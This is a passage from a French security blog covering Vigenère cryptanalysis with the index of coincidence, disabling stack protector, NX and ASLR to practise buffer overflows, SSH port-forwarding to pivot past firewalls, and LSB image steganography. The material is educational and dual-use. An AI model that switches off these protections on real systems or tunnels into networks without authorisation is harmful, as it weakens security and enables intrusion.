<span style="color: red;">C</span><span style="color: green;">E</span><span style="color: blue;">T</span><span style="color: red;">A</span><span style="color: green;">R</span><span style="color: blue;">T</span><span style="color: red;">I</span><span style="color: green;">C</span><span style="color: blue;">L</span><span style="color: red;">E</span><span style="color: green;">P</span><span style="color: blue;">A</span><span style="color: red;">R</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">D</span><span style="color: green;">E</span><span style="color: blue;">L</span><span style="color: red;">I</span><span style="color: green;">N</span><span style="color: blue;">D</span><span style="color: red;">I</span><span style="color: green;">C</span><span style="color: blue;">E</span><span style="color: red;">D</span><span style="color: green;">E</span><span style="color: blue;">C</span><span style="color: red;">O</span><span style="color: green;">I</span><span style="color: blue;">N</span><span style="color: red;">C</span><span style="color: green;">I</span><span style="color: blue;">D</span><span style="color: red;">E</span><span style="color: green;">N</span><span style="color: blue;">C</span><span style="color: red;">E</span><span style="color: green;">Q</span><span style="color: blue;">U</span><span style="color: red;">I</span><span style="color: green;">E</span><span style="color: blue;">S</span><span style="color: red;">T</span><span style="color: green;">U</span><span style="color: blue;">N</span><span style="color: red;">O</span><span style="color: green;">U</span><span style="color: blue;">T</span><span style="color: red;">I</span><span style="color: green;">L</span><span style="color: blue;">T</span><span style="color: red;">R</span><span style="color: green;">E</span><span style="color: blue;">S</span><span style="color: red;">U</span><span style="color: green;">T</span><span style="color: blue;">I</span><span style="color: red;">L</span><span style="color: green;">E</span><span style="color: blue;">E</span><span style="color: red;">N</span><span style="color: green;">C</span><span style="color: blue;">R</span><span style="color: red;">Y</span><span style="color: green;">P</span><span style="color: blue;">T</span><span style="color: red;">A</span><span style="color: green;">N</span><span style="color: blue;">A</span><span style="color: red;">L</span><span style="color: green;">Y</span><span style="color: blue;">S</span><span style="color: red;">E</span><br />
<span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><span style="color: green;">L</span><span style="color: blue;">E</span><span style="color: red;">C</span><br />
<span style="color: red;">E</span><span style="color: green;">P</span><span style="color: blue;">X</span><span style="color: red;">C</span><span style="color: green;">C</span><span style="color: blue;">X</span><span style="color: red;">K</span><span style="color: green;">N</span><span style="color: blue;">P</span><span style="color: red;">G</span><span style="color: green;">A</span><span style="color: blue;">E</span><span style="color: red;">T</span><span style="color: green;">W</span><span style="color: blue;">I</span><span style="color: red;">F</span><span style="color: green;">P</span><span style="color: blue;">P</span><span style="color: red;">K</span><span style="color: green;">Y</span><span style="color: blue;">H</span><span style="color: red;">K</span><span style="color: green;">N</span><span style="color: blue;">I</span><span style="color: red;">F</span><span style="color: green;">P</span><span style="color: blue;">G</span><span style="color: red;">Q</span><span style="color: green;">T</span><span style="color: blue;">R</span><span style="color: red;">E</span><span style="color: green;">T</span><span style="color: blue;">H</span><span style="color: red;">G</span><span style="color: green;">Y</span><span style="color: blue;">G</span><span style="color: red;">G</span><span style="color: green;">B</span><span style="color: blue;">Y</span><span style="color: red;">K</span><span style="color: green;">P</span><span style="color: blue;">W</span><span style="color: red;">V</span><span style="color: green;">F</span><span style="color: blue;">R</span><span style="color: red;">Q</span><span style="color: green;">F</span><span style="color: blue;">X</span><span style="color: red;">K</span><span style="color: green;">W</span><span style="color: blue;">X</span><span style="color: red;">T</span><span style="color: green;">P</span><span style="color: blue;">W</span><span style="color: red;">W</span><span style="color: green;">E</span><span style="color: blue;">M</span><span style="color: red;">N</span><span style="color: green;">P</span><span style="color: blue;">I</span><span style="color: red;">P</span><span style="color: green;">N</span><span style="color: blue;">V</span><span style="color: red;">A</span><span style="color: green;">A</span><span style="color: blue;">X</span><span style="color: red;">C</span><span style="color: green;">Y</span><span style="color: blue;">E</span><span style="color: red;">N</span><span style="color: green;">J</span><span style="color: blue;">W</span><span style="color: red;">G</span></div>
<br />
Les 1°, 4°, 7°... caractères sont chiffrés avec le caractère C et sont donc décalés de 2 caractères (3° lettre de l'alphabet).<br />
Les 2°, 5°, 8°... caractères sont chiffrés avec le caractère L et sont donc décalés de 11 caractères (12° lettre de l'alphabet).<br />
Les 3°, 6°, 9°... caractères sont chiffrés avec le caractère E et sont donc décalés de 4 caractères (5° lettre de l'alphabet).<br />
<br />
Il y a donc 3 groupes de lettres dans le texte en clair qui subissent chacun un décalage différent et chaque groupe de lettre a un IC proche de celui de sa langue d'origine. Etant donné qu'un décalage n'est qu'une substitution mono-alphabétique, l'IC de chaque groupe de lettres chiffrées doit être proche de celui de la langue d'origine, si c'est pas le cas c'est que le groupe n'est pas bon et que donc la taille de la clé est fausse.
<pre class="brush:plain">
# ./friedman_test.rb 1 4 EPXCCXKNPGAETWIFPPKYHKNIFPGQTRETHGYGGBYKP<br />
WVFRQFXKWXTPWWEMNPIPNVAAXCYENJWG<br />
Taille Clé:1 => 0.05213089802130898 <br />
Taille Clé:2 => 0.04804804804804805 0.050793650793650794 <br />
Taille Clé:3 => <span style="color: red;">0.07333333333333333 0.09057971014492754 0.07608695652173914 </span><br />
Taille Clé:4 => 0.08187134502923976 0.0915032679738562 0.026143790849673203 0.032679738562091505
</pre>
Comme on peut le voir ici, une taille de clé égale à 3 donne les IC les plus proches du français. La taille de la clé sera probablement de 3 caractères. Bien entendu, une clé de longueur multiple de 3 doit donner aussi de bons résultats. Ce test est appelé le test de Friedman.<br />
<br />
Voilà pourquoi l'indice de coïncidence est un outil indispensable en cryptanalyse qui peut nous aider dans bien des cas.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com0tag:blogger.com,1999:blog-7133158144968101578.post-44914069839878424822011-02-02T10:56:00.000-08:002013-05-14T00:38:08.188-07:00Débuter avec les buffer overflows...Je suis complètement débutant dans tout ce qui est exploitation, reverse et autres joyeusetés du même genre... alors je travaille pour m'améliorer en lisant beaucoup de documentation (notamment <a href="http://www.amazon.com/gp/product/1593271441/ref=pd_lpo_k2_dp_sr_1?pf_rd_p=1278548962&pf_rd_s=lpo-top-stripe-1&pf_rd_t=201&pf_rd_i=1593270070&pf_rd_m=ATVPDKIKX0DER&pf_rd_r=1KM0SJB0YDDHB805E68P">Hacking The Art of Exploitation</a>)<br />
Le problème c'est qu'aujourd'hui de nombreuses protections sont mises en places par défaut sur les différents systèmes, ce qui rend l'apprentissage bien plus compliqué. La moindre petite exploitation devient donc pour les débutants comme moi, infaisable...<br />
Voilà donc quelques éléments qui peuvent faciliter la tâche à des fins d'apprentissages.<br />
<br />
Pour commencer lors de la création du binaire vulnérable, il faut préciser au compilateur l'option <code>-fno-stack-protector</code> à <code>gcc</code> qui va empêcher la mise en place de code supplémentaire permettant de détecter les débordements de buffer.<br />
<br />
<div class="code">
<span style="font-family: Courier New, Courier, monospace;"><span class="prompt"># </span> gcc vuln.c -o vuln -fno-stack-protector -ggdb3</span></div>
<br />
Ensuite on va autoriser la création des fichiers <code>core</code> (on va leur donner un nom sexy et surtout s'assurer qu'il n'y a pas <code>/dev/null</code> dans <code>/proc/sys/kernel/core_pattern</code>) :<br />
<br />
<div class="code">
<span style="font-family: Courier New, Courier, monospace;"><span class="prompt"># </span> sudo sysctl -w kernel.core_pattern=%e-%p-%t.core</span><br />
<span style="font-family: Courier New, Courier, monospace;">kernel.core_pattern = %e-%p-%t.core</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="prompt"># </span> ulimit -c 100000</span></div>
<br />
Ensuite on va utiliser le programme <code><a href="http://linux.die.net/man/8/execstack">execstack</a></code>, pour rendre la pile de notre programme exécutable (désactivation du <a href="http://en.wikipedia.org/wiki/NX_bit">NX bit</a>):<br />
<br />
<div class="code">
<span style="font-family: Courier New, Courier, monospace;"><span class="prompt"># </span> readelf -l vuln</span><br />
<span style="font-family: Courier New, Courier, monospace;">Elf file type is EXEC (Executable file)</span><br />
<span style="font-family: Courier New, Courier, monospace;">Entry point 0x8048310</span><br />
<span style="font-family: Courier New, Courier, monospace;">There are 8 program headers, starting at offset 52</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Program Headers:</span><br />
<span style="font-family: Courier New, Courier, monospace;">Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align</span><br />
<span style="font-family: Courier New, Courier, monospace;">PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4</span><br />
<span style="font-family: Courier New, Courier, monospace;">INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1</span><br />
<span style="font-family: Courier New, Courier, monospace;">[Requesting program interpreter: /lib/ld-linux.so.2]</span><br />
<span style="font-family: Courier New, Courier, monospace;">LOAD 0x000000 0x08048000 0x08048000 0x004b4 0x004b4 R E 0x1000</span><br />
<span style="font-family: Courier New, Courier, monospace;">LOAD 0x000f14 0x08049f14 0x08049f14 0x00100 0x00108 RW 0x1000</span><br />
<span style="font-family: Courier New, Courier, monospace;">DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4</span><br />
<span style="font-family: Courier New, Courier, monospace;">NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4</span><br />
<span style="color: blue; font-family: Courier New, Courier, monospace;">GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4</span><br />
<span style="font-family: Courier New, Courier, monospace;">GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Section to Segment mapping:</span><br />
<span style="font-family: Courier New, Courier, monospace;">Segment Sections...</span><br />
<span style="font-family: Courier New, Courier, monospace;">00 </span><br />
<span style="font-family: Courier New, Courier, monospace;">01 .interp </span><br />
<span style="font-family: Courier New, Courier, monospace;">02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame </span><br />
<span style="font-family: Courier New, Courier, monospace;">03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss </span><br />
<span style="font-family: Courier New, Courier, monospace;">04 .dynamic </span><br />
<span style="font-family: Courier New, Courier, monospace;">05 .note.ABI-tag .note.gnu.build-id </span><br />
<span style="font-family: Courier New, Courier, monospace;">06 </span><br />
<span style="font-family: Courier New, Courier, monospace;">07 .ctors .dtors .jcr .dynamic .got</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="prompt"># </span>execstack -s vuln</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="prompt"># </span>readelf -l vuln</span><br />
<span style="font-family: Courier New, Courier, monospace;">Elf file type is EXEC (Executable file)</span><br />
<span style="font-family: Courier New, Courier, monospace;">Entry point 0x8048310</span><br />
<span style="font-family: Courier New, Courier, monospace;">There are 8 program headers, starting at offset 52</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Program Headers:</span><br />
<span style="font-family: Courier New, Courier, monospace;">Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align</span><br />
<span style="font-family: Courier New, Courier, monospace;">PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4</span><br />
<span style="font-family: Courier New, Courier, monospace;">INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1</span><br />
<span style="font-family: Courier New, Courier, monospace;">[Requesting program interpreter: /lib/ld-linux.so.2]</span><br />
<span style="font-family: Courier New, Courier, monospace;">LOAD 0x000000 0x08048000 0x08048000 0x004b4 0x004b4 R E 0x1000</span><br />
<span style="font-family: Courier New, Courier, monospace;">LOAD 0x000f14 0x08049f14 0x08049f14 0x00100 0x00108 RW 0x1000</span><br />
<span style="font-family: Courier New, Courier, monospace;">DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4</span><br />
<span style="font-family: Courier New, Courier, monospace;">NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4</span><br />
<span style="color: blue; font-family: Courier New, Courier, monospace;">GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW<span style="color: red;"><strong>E</strong></span> 0x4</span><br />
<span style="font-family: Courier New, Courier, monospace;">GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Section to Segment mapping:</span><br />
<span style="font-family: Courier New, Courier, monospace;">Segment Sections...</span><br />
<span style="font-family: Courier New, Courier, monospace;">00 </span><br />
<span style="font-family: Courier New, Courier, monospace;">01 .interp </span><br />
<span style="font-family: Courier New, Courier, monospace;">02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame </span><br />
<span style="font-family: Courier New, Courier, monospace;">03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss </span><br />
<span style="font-family: Courier New, Courier, monospace;">04 .dynamic </span><br />
<span style="font-family: Courier New, Courier, monospace;">05 .note.ABI-tag .note.gnu.build-id </span><br />
<span style="font-family: Courier New, Courier, monospace;">06 </span><br />
<span style="font-family: Courier New, Courier, monospace;">07 .ctors .dtors .jcr .dynamic .got</span></div>
<br />
Enfin on va désactiver l'<a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a>: <br />
<br />
<div class="code">
<span style="font-family: Courier New, Courier, monospace;"><span class="prompt"># </span>sudo sysctl -w kernel.randomize_va_space=0</span><br />
<span style="font-family: Courier New, Courier, monospace;">kernel.randomize_va_space = 0</span></div>
<br />
Ces petites modifications m'ont permis de tester quelques exploitations très simples. En espérant que ca en aidera certains :)<br />
<br />
<strong>Update: </strong>Certaines options peuvent être ajoutées à gcc pour désactiver encore plus de sécurité et qui peut être utile lors de l'exploitation de format string (et qui permet aussi de se passer de execstack) :<br />
<br />
<div class="code">
<span style="font-family: Courier New, Courier, monospace;"><span class="prompt"># </span> gcc vuln.c -w -O0 -ggdb -std=c99 -static -D_FORTIFY_SOURCE=0 -fno-pie -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o vuln</span></div>
ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com2tag:blogger.com,1999:blog-7133158144968101578.post-114164920364138872011-01-31T05:50:00.000-08:002013-05-14T00:38:08.177-07:00Tunnel SSHJ'ai souvent été confronté durant un pentest, un audit ou tout simplement lors de la configuration d'une machine à distance au fait que je sois bloqué par le firewall lors de l'accès à certains ports ou à certaines machines.<br />
Pourtant si par chance nous avons accès à un serveur <a href="http://fr.wikipedia.org/wiki/Secure_Shell">SSH</a> dans le réseau, nous pouvons dire que nous avons accès à tout (ou presque) le réseau, quelque soit le port ou la machine visée (tant que cette dernière est accessible via le serveur SSH).<br />
<br />
Pour cela il suffit d'utiliser une des nombreuses fonctionnalités d'<a href="http://www.openssh.com/">OpenSSH</a>, le tunnel. L'idée est simple, utiliser le serveur SSH sur lequel nous avons un accès pour rebondir sur la machine souhaitée.<br />
<br />
Prenons un exemple simple : nous avons accès à un serveur SSH sur un réseau et nous voulons reconfigurer la livebox de ce réseau. Le problème c'est que la livebox est inaccessible directement... elle est bien configurée pour transférer le service SSH sur la bonne machine, mais impossible d'accéder directement à cette maudite livebox.<br />
Nous allons utiliser cet accès SSH disponible pour rebondir sur le serveur WEB de la livebox.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtnPkHWKHR4IKucfaeRvafojABhnNeOJGQGcnI1-nX17XABR87v-6aDtSqmaU-ffRx2jlFC9ufJmnuwtQJjTLryTISgsJIu81XxrtlDWNqoPwRtOfuEaf9q2bwyimF7RblaZlHy95MEP0/s1600/ssh_local.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtnPkHWKHR4IKucfaeRvafojABhnNeOJGQGcnI1-nX17XABR87v-6aDtSqmaU-ffRx2jlFC9ufJmnuwtQJjTLryTISgsJIu81XxrtlDWNqoPwRtOfuEaf9q2bwyimF7RblaZlHy95MEP0/s320/ssh_local.png" width="320" /></a></div>
<center>
</center>
Les commandes à taper sur la machine distante sont les suivantes :<br />
<br />
<div class="code">
<span style="font-family: Courier New, Courier, monospace;"><span class="prompt"># </span> ssh -N -L <span style="color: purple;">8080</span>:<span style="color: red;">192.168.0.1:443</span> <span style="color: green;">ip_serveur_ssh</span></span></div>
<br />
Quelques explications sont nécessaires : le port 8080 apparaissant en violet est le port qui va s'ouvrir sur la machine distante, c'est à dire celle dont nous disposons. Toute communication à destination de ce port sera encapsulée et envoyée vers l'ip du serveur SSH en vert, qui désencapsulera la partie SSH et renverra le reste à destination de l'adresse IP 192.168.0.1:443 (la livebox). La réponse de la livebox fera le chemin inverse et sera encapsulée par le serveur à destination de notre client et qui enlevera la partie SSH et le renverra à notre navigateur WEB.<br />
<u>Remarque:</u> L'adresse en rouge représentant l'adresse de la livebox est relative au serveur SSH et non pas à la machine distante.<br />
<br />
En plus d'être très pratique, ce mécanisme permet de chiffrer toute la communication de la machine distante vers le réseau et donc apporte une couche de sécurité.<br />
<br />
Il est possible de désactiver cette fonctionnalité du serveur <a href="http://www.openssh.com/">OpenSSH</a> dans le fichier <code>sshd_config</code> en mettant <code>AllowTcpForwarding</code> à <code>No</code> (par défaut il est à <code>Yes</code>).ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com0tag:blogger.com,1999:blog-7133158144968101578.post-55767034366625587552011-01-30T12:25:00.000-08:002013-05-14T00:38:08.192-07:00Least Significant Bit ou LSB<h3>
Introduction</h3>
Une technique fréquemment utilisée en stéganographie pour cacher des informations est la technique du Least Significant Bit, LSB ou bits de poids faible. Contrairement à mon article sur le <a href="http://www.time0ut.org/blog/steganographie/padding-bmp/">padding BMP</a>, cette méthode peut être utilisée sur plusieurs formats d'images, tant que celui-ci n'utilise pas de compression avec perte. Il est donc possible de l'utiliser sur les formats <a href="http://fr.wikipedia.org/wiki/Windows_bitmap">BMP</a>, <a href="http://www.w3.org/TR/PNG/">PNG</a>, <a href="http://en.wikipedia.org/wiki/Graphics_Interchange_Format">GIFF</a>... mais ne pourra pas être appliquée au format <a href="http://en.wikipedia.org/wiki/JPEG">JPG</a>. L'objectif du LSB est de modifier de façon imperceptible l'image pour cacher de l'information.<br />
<h3>
Principe</h3>
Pour commencer il est nécessaire de comprendre comment sont stockées les informations dans une image. Chaque image est constituée de pixels codés généralement par 3 couleurs : rouge, vert et bleu (RGB). Chaque pixel représente donc une certaine quantité de rouge, une certaine quantité de vert et une certaine quantité de bleue.<br />
Si on prend le cas ou chaque couleur de chaque pixel est codée sur un octet il y a donc 256 valeurs pour une couleur de 0 (la couleur n'est pas présente) à 255.<br />
<br />
On peut donc représenter 256^3 soit 16777216 couleurs au total. L'idée est que l'œil humain ne va pas être capable de distinguer parfaitement toutes ces couleurs et que donc de légères modifications sur la couleur des pixels ne seront pas distinguables en tout cas pour l'œil humain.<br />
<br />
Prenons un exemple, la couleur suivante est constituée uniquement de rouge et a la valeur 255,0,0 (255 de rouge, 0 de vert et 0 de bleu), la suivante a la valeur 254,0,0.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6iPUXqCiCEBlpwUwOrSFz-0_DfxYWVEY-WIkZeWh2q7ec_HDtBwVIRv4ezwrRuTxoNUPMT6byWqpQH5_OMZuWdb_SbUaBzDYqTEs3dc5VIHhEVTZePALduOaoMm6iPyvX0_wLqk1z_Pk/s1600/255-0-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6iPUXqCiCEBlpwUwOrSFz-0_DfxYWVEY-WIkZeWh2q7ec_HDtBwVIRv4ezwrRuTxoNUPMT6byWqpQH5_OMZuWdb_SbUaBzDYqTEs3dc5VIHhEVTZePALduOaoMm6iPyvX0_wLqk1z_Pk/s1600/255-0-0.png" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8gBn1suK75SyXZK1FuODL5IlPtFx5kXJjuie243209STqUNHlMtIx-ww9ky0aRP_tSmSp0hiSA2VKpBoA4G5PeLe7MpPp17P-B8x6bplCpGpNOGkncghz4jihM6jr26wphVswPrqBjTQ/s1600/254-0-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8gBn1suK75SyXZK1FuODL5IlPtFx5kXJjuie243209STqUNHlMtIx-ww9ky0aRP_tSmSp0hiSA2VKpBoA4G5PeLe7MpPp17P-B8x6bplCpGpNOGkncghz4jihM6jr26wphVswPrqBjTQ/s1600/254-0-0.png" /></a></div>
<center>
<br /></center>
Comme on peut le voir la différence est difficilement visible. L'image suivante contient les couleurs suivantes sur la première ligne 255,0,0 0,255,0 0,0,255 et sur la deuxième ligne les couleurs suivantes 254,0,0 0,254,0 0,0,254.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVFDBryBhSLYlFOzDC_RPGkzUmCo4J6MWv2P5LqwmI6d1iUYggs7YCwKVb5IRJxMEp8Ad8WZYKHrJbBbsOPKe9pQqqcKBFZY2lOLrb-dBJkqx6gD7eCyVnPY6YkGTH9C-E8L5_3uPBqhs/s1600/lsb_ex.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVFDBryBhSLYlFOzDC_RPGkzUmCo4J6MWv2P5LqwmI6d1iUYggs7YCwKVb5IRJxMEp8Ad8WZYKHrJbBbsOPKe9pQqqcKBFZY2lOLrb-dBJkqx6gD7eCyVnPY6YkGTH9C-E8L5_3uPBqhs/s1600/lsb_ex.png" /></a></div>
<center>
<br /></center>
<h3>
Représentation binaire</h3>
Le but est donc de trouver un moyen d'altérer la couleur de l'image d'une façon imperceptible. Cette technique va se baser sur la représentation du nombre en binaire. Comme dit précédemment, une couleur est codée sur un octet, soit 8 bits. On peut donc représenter n'importe quelle couleur par une suite de 8 bits. Ce qui est intéressant dans cette approche c'est que chaque bit n'est pas porteur de la même quantité d'information. Le bit de poids faible (le bit le plus à droite) a un poids de 1, c'est à dire que le fait qu'il soit à 1 ou à 0 ne modifiera la valeur finale que de 1, alors que le bit de poids fort (le bit le plus à gauche) a un poids de 128.<br />
<br />
Le tableau suivant détaille le poids de chaque bit :<br />
<br />
Représentation binaire de 153 = 10011001b<br />
<center>
<br /><br /><table><tbody>
<tr><th></th><th>bit 7</th><th>bit 6</th><th>bit 5</th><th>bit 4</th><th>bit 3</th><th>bit 2</th><th>bit 1</th><th>bit 0</th></tr>
<tr style="text-align: center;"><td>Valeur binaire</td><td style="text-align: center;">1</td><td style="text-align: center;">0</td><td style="text-align: center;">0</td><td style="text-align: center;">1</td><td style="text-align: center;">1</td><td style="text-align: center;">0</td><td style="text-align: center;">0</td><td style="text-align: center;">1</td></tr>
<tr style="text-align: center;"><td style="text-align: center;">Poids du bit</td><td style="text-align: center;">128</td><td style="text-align: center;">64</td><td style="text-align: center;">32</td><td style="text-align: center;">16</td><td style="text-align: center;">8</td><td style="text-align: center;">4</td><td style="text-align: center;">2</td><td style="text-align: center;">1</td></tr>
</tbody></table>
</center>
<br />
Pour vérifier : 153 = <span style="color: blue;">1</span>*128 + <span style="color: blue;">0</span>*64 + <span style="color: blue;">0</span>*32 + <span style="color: blue;">1</span>*16 + <span style="color: blue;">1</span>*8 + <span style="color: blue;">0</span>*4 + <span style="color: blue;">0</span>*2 + <span style="color: blue;">1</span>*1<br />
<br />
L'idée finale est donc d'altérer les bits qui portent le moins d'informations pour y stocker notre message caché. Etant donné que ces bits sont porteurs de peu d'information, l'aspect visuel de l'image sera peu altéré.<br />
<h3>
Cacher de l'information</h3>
Prenons un exemple concret où nous voulons cacher la lettre "A" dans 3 pixels. Les 3 pixels seront 153,74,186 255,255,255 0,0,0. La lettre "A" a la valeur ASCII 65 soit 01000001b en binaire. Comme dit précédemment, on va modifier les bits de poids faible de chaque couleur pour stocker notre information.<br />
<div class="code">
<br /><table align="center" style="margin-left: auto; margin-right: auto;"><tbody>
<tr style="text-align: center;"><th></th><th style="text-align: center;">Pixel 1 Rouge</th><th style="text-align: center;">Pixel 1 Vert</th><th style="text-align: center;">Pixel 1 Bleu</th><th style="text-align: center;">Pixel 2 Rouge</th><th style="text-align: center;">Pixel 2 Vert</th><th style="text-align: center;">Pixel 2 Bleu</th><th style="text-align: center;">Pixel 3 Rouge</th><th style="text-align: center;">Pixel 3 Vert</th><th style="text-align: center;">Pixel 3 Bleu</th></tr>
<tr><td style="text-align: center;">Valeur Décimale</td><td style="text-align: center;">153</td><td style="text-align: center;">74</td><td style="text-align: center;">186</td><td style="text-align: center;">255</td><td style="text-align: center;">255</td><td style="text-align: center;">255</td><td style="text-align: center;">0</td><td style="text-align: center;">0</td><td style="text-align: center;">0</td></tr>
<tr><td style="text-align: center;">Valeur Binaire</td><td style="text-align: center;">10011001</td><td style="text-align: center;">01001010</td><td style="text-align: center;">10111011</td><td style="text-align: center;">11111111</td><td style="text-align: center;">11111111</td><td style="text-align: center;">11111111</td><td style="text-align: center;">00000000</td><td style="text-align: center;">00000000</td><td style="text-align: center;">00000000</td></tr>
<tr><td style="text-align: center;">Bit à cacher</td><td style="text-align: center;"><span style="color: red;">0</span></td><td style="text-align: center;"><span style="color: red;">1</span></td><td style="text-align: center;"><span style="color: red;">0</span></td><td style="text-align: center;"><span style="color: red;">0</span></td><td style="text-align: center;"><span style="color: red;">0</span></td><td style="text-align: center;"><span style="color: red;">0</span></td><td style="text-align: center;"><span style="color: red;">0</span></td><td style="text-align: center;"><span style="color: red;">1</span></td><td style="text-align: center;">padding</td></tr>
<tr><td style="text-align: center;">Couleur finale binaire</td><td style="text-align: center;">1001100<span style="color: red;">0</span></td><td style="text-align: center;">0100101<span style="color: red;">1</span></td><td style="text-align: center;">1011101<span style="color: red;">0</span></td><td style="text-align: center;">1111111<span style="color: red;">0</span></td><td style="text-align: center;">1111111<span style="color: red;">0</span></td><td style="text-align: center;">1111111<span style="color: red;">0</span></td><td style="text-align: center;">0000000<span style="color: red;">0</span></td><td style="text-align: center;">0000000<span style="color: red;">1</span></td><td style="text-align: center;">00000000</td></tr>
<tr><td style="text-align: center;">Couleur finale</td><td style="text-align: center;">152</td><td style="text-align: center;">75</td><td style="text-align: center;">186</td><td style="text-align: center;">254</td><td style="text-align: center;">254</td><td style="text-align: center;">254</td><td style="text-align: center;">0</td><td style="text-align: center;">1</td><td style="text-align: center;">0</td></tr>
</tbody></table>
<br /></div>
<br />
La nouvelle suite de couleur passe à 152,75,186 254,254,254 0,1,0. Comme on peut donc le voir, une légère modification a lieu.<br />
<h3>
Pour aller plus loin</h3>
L'exemple ici porte sur la façon de cacher de l'information dans le bit 0, celui qui est porteur du moins grand nombre d'informations. Il est toutefois possible d'utiliser plusieurs bits comme par exemple les bits 0, 1 et 2. L'image sera au final altérée de façon plus importante, mais la quantité d'information cachée sera plus grande. En stégagnographie tout est question de compromis : Plus on cachera d'information et plus on détériorera le support et donc plus il sera facile de déceler qu'une information est cachée.<br />
<h3>
Exemple d'information cachée</h3>
L'image suivante possède une information cachée dans ses bits de poids de faible. Ici contrairement au padding BMP, aucune chance de ne voir quoique ce soit en ouvrant l'image dans un editeur hexa ;)<br />
<div class="separator" style="clear: both; text-align: center;">
